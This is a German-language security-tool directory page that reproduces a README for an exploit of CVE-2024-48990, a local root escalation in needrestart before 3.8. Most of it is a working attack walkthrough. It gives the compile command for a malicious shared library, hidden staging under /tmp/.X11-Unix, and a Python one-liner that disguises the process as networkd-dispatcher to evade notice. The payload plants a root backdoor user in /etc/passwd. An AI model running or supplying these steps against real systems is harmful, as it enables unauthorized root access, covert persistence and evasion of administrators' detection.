Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-48990 — Exploit für CVE-2024-48990 (Lokale Privilegieneskalation in needrestart < 3.8) | Kitploit
Tools/GitHubGitHub/ns989/cve-2024-48990
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsRed Teaming
GitHubns989/cve-2024-48990

CVE-2024-48990

Exploit für CVE-2024-48990 (Lokale Privilegieneskalation in needrestart < 3.8)

Repository anzeigen
5vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-48990

Exploit für CVE-2024-48990 (lokale Privilegieneskalation in needrestart < 3.8)

Hintergrund

Siehe https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys erklärt das sehr gut.

TLDR;

Auf Systemen mit needrestart kleiner als 3.8 können lokale Benutzer beliebigen Code ausführen und ohne Benutzerinteraktion root-Rechte erlangen.

Screenshot vom 2024-11-21 20-07-48

Exploit

Der Exploit in seiner aktuellen Form fügt dem System einen neuen Benutzer namens "_daemon" mit UID/GID 0 (root) hinzu, indem er mit einem sed-Befehl die Datei /etc/passwd bearbeitet. Das Passwort ist dasselbe wie der Benutzername. Ich bin nicht einmal sicher, ob man es als Exploit bezeichnen kann, da es nur eine Shared Library ist, die einen einzelnen Befehl ausführt.

Um den Exploit selbst zu kompilieren, führe Folgendes aus:

gcc exploit.c -o exploit.so -shared -fPIC -s

1. Erstelle ein Verzeichnis, um die Exploit-Dateien zu speichern. Das Verzeichnis, das du erstellst, muss ein Unterverzeichnis namens "importlib" enthalten

mkdir -p /tmp/.X11-Unix/importlib

2. Starte einen Prozess, der den Exploit auslöst

Du könntest jedes langlaufende Python-Skript ausführen. Um in der Prozessliste jedoch weniger verdächtig auszusehen, kannst du diesen Einzeiler verwenden, um einen Python-Interpreter zu starten, der sofort nach dem Start angehalten wird (so dass er nie wirklich etwas ausführt).

  • PYTHON - Der Pfad zum Python-Interpreter

  • ARGV - Die Zeichenkette, die in der Prozessliste erscheinen wird

  • PYPATH - Der Pfad zu dem von dir erstellten Verzeichnis (ohne das importlib-Verzeichnis)

Für ARGV stelle sicher, dass:

  • der Pfad zum Python-Interpreter das erste Argument in ARGV ist

  • das zweite Argument (das "Skript") eine Datei ist, die tatsächlich auf dem System existiert (needrestart prüft das). Es muss kein echtes Python-Skript sein.

  • das zweite Argument nicht mit einem bereits laufenden Prozess übereinstimmt (needrestart verwendet dann den bereits gesehenen Prozess aus dem Cache).

Abgesehen davon kannst du mit ARGV so viel herumspielen, wie du willst. Vielleicht lässt du es wie einen normalen Systemprozess aussehen?

PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'

3. Verschiebe das Exploit-Shared-Object an die richtige Stelle

Es muss sich im importlib-Verzeichnis befinden und "init.so" heißen

mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so

4. Warte, bis needrestart sein Ding macht

Beim nächsten Ausführen von needrestart (z. B. wenn ein Update mit apt oder unattended-upgrades es startet) führt es Python mit der PYTHONPATH-Variable unseres Prozesses aus und lädt die Datei init.so, die unseren Befehl ausführt. Du kannst dich dann mit den Zugangsdaten _damon:_daemon anmelden.

Dinge, die verhindern können, dass der Exploit funktioniert

needrestart ist nicht völlig dumm und prüft ein paar Dinge, wenn es Prozesse scannt und bevor es in den verwundbaren Teil des Codes eintritt

  • Ist der Prozess ein laufendes Python-Skript? Wenn nicht, wird er übersprungen (python -c-Prozesse werden übersprungen)
  • Wurde der Prozess bereits gesehen? Du kannst keine exakte Kopie eines anderen Prozesses erstellen (z. B. unattended-upgrade-shutdown oder networkd-dispatcher), sonst wird er übersprungen.
  • Wenn in /etc/needrestart/needrestart.conf "$nrconf{interpscan}" auf "0" gesetzt ist, hast du Pech gehabt.
Tool herunterladen